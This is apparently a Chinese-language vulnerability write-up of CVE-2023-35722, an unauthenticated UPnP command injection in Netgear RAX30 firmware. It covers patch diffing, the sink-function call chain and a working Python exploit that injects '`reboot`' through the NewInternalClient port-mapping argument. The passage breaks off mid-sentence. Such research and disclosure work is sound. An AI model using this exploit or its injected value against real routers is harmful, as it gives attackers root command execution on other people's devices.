分析对象

  • 型号:Netgear RAX30
  • 固件版本:1.0.9.92

TODO:反汇编恢复符号

静态分析发现其中很多函数都存在调试信息,因此可以考虑使用ida脚本自动化恢复。

CVE-2023-35722 分析

该漏洞允许网络邻近的攻击者在受影响的NETGEAR RAX30路由器上执行任意代码。利用此漏洞不需要身份验证。具体漏洞存在于UPnP端口映射请求的处理中。问题在于在使用用户提供的字符串执行系统调用之前,缺乏对其进行适当验证。攻击者可以利用此漏洞以root的身份执行代码。漏洞编号为ZDI-CAN-20429。

因为该漏洞影响版本为Up to (excluding) 1.0.11.96_2_hotfix。可以发现供应商发布了hotfix进行紧急修复,因此可以对照1.0.11.96_2_hotfix和比较接近的1.0.10.94_3两个版本进行diff。

选择upnp程序进行diff

发现有一个函数相似度较低,分析该函数:

主要的改动为在开头接受upnp_updateOrAddPortMapping_dev2参数内容时添加了正则表达式匹配逻辑,检测a8,a9参数是否合法,因此怀疑漏洞为a8,a9参数内容为用户可控。

回溯上层调用,为v6变量

继续上溯,发现为结构体,应该为函数表,该函数对应AddPortMapping功能

以上结构体格式如下:

1
2
3
4
5
6
7
8
9
struct AddPortMapping {
char* func_name;
INT32 func_ptr;
func_arg* args_list;
}
struct func_arg {
char* arg_name;
char arg_idx[0xe];
}

sink点分析

应该是libcms_core.so文件的rutIpt_portforwardRunIptables函数(感觉这个更有可能一些)
sink点函数调用链:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
rcl_dev2IpInterfaceObject
|
V
...
|
V
rutIpt_initNat
|
V
rutIpt_activatePortMappingEntries_dev2
|
V
rutIpt_portforwardCfg_dev2
|
V
rutIpt_portforwardRunIptables
|
V
rut_doSystemAction

doSystemAction函数内容如下,可以看到是会执行a2参数命令。

exp编写

编写upnp交互程序,修改其InternelClient参数内容为注入命令。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
#! /usr/bin/env python
# $Id: testupnpigd.py,v 1.7 2020/04/06 10:23:02 nanard Exp $
# MiniUPnP project
# Author : Thomas Bernard
# This Sample code is public domain.
# website : https://miniupnp.tuxfamily.org/

# import the python miniupnpc module
import miniupnpc
import socket

try:
from http.server import BaseHTTPRequestHandler, HTTPServer
except ImportError:
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer

# function definition
def list_redirections():
i = 0
while True:
p = u.getgenericportmapping(i)
if p==None:
break
print(i, p)
i = i + 1

# create the object
u = miniupnpc.UPnP()
#print 'inital(default) values :'
#print ' discoverdelay', u.discoverdelay
#print ' lanaddr', u.lanaddr
#print ' multicastif', u.multicastif
#print ' minissdpdsocket', u.minissdpdsocket
u.discoverdelay = 200;

try:
print('Discovering... delay=%ums' % u.discoverdelay)
ndevices = u.discover()
print(ndevices, 'device(s) detected')

# select an igd
u.selectigd()
# display information about the IGD and the internet connection
print('local ip address :', u.lanaddr)
externalipaddress = u.externalipaddress()
print('external ip address :', externalipaddress)
print(u.statusinfo(), u.connectiontype())

# find a free port for the redirection
r = u.getspecificportmapping(11111, 'TCP')
eport = 11111
while r != None and eport < 65536:
eport = eport + 1
r = u.getspecificportmapping(eport, 'TCP')

print('trying to redirect %s port %u TCP => %s port %u TCP' % (externalipaddress, eport, u.lanaddr, 11111))

b = u.addportmapping(eport, 'TCP', '`reboot`', 11111,
'UPnP IGD Tester port %u' % eport, '')
if b:
print('Success. Now waiting for some HTTP request on http://%s:%u' % (externalipaddress ,eport))
# b = u.deleteportmapping(eport, 'TCP')
# if b:
# print('Successfully deleted port mapping')
# else:
# print('Failed to remove port mapping')
else:
print('Failed')

except Exception as e:
print('Exception :', e)

尝试telnetd、ping等命令无效,使用reboot命令,成功使设备重启。
不过发现命令注入参数为”NewInternalClient”。
使用修复后的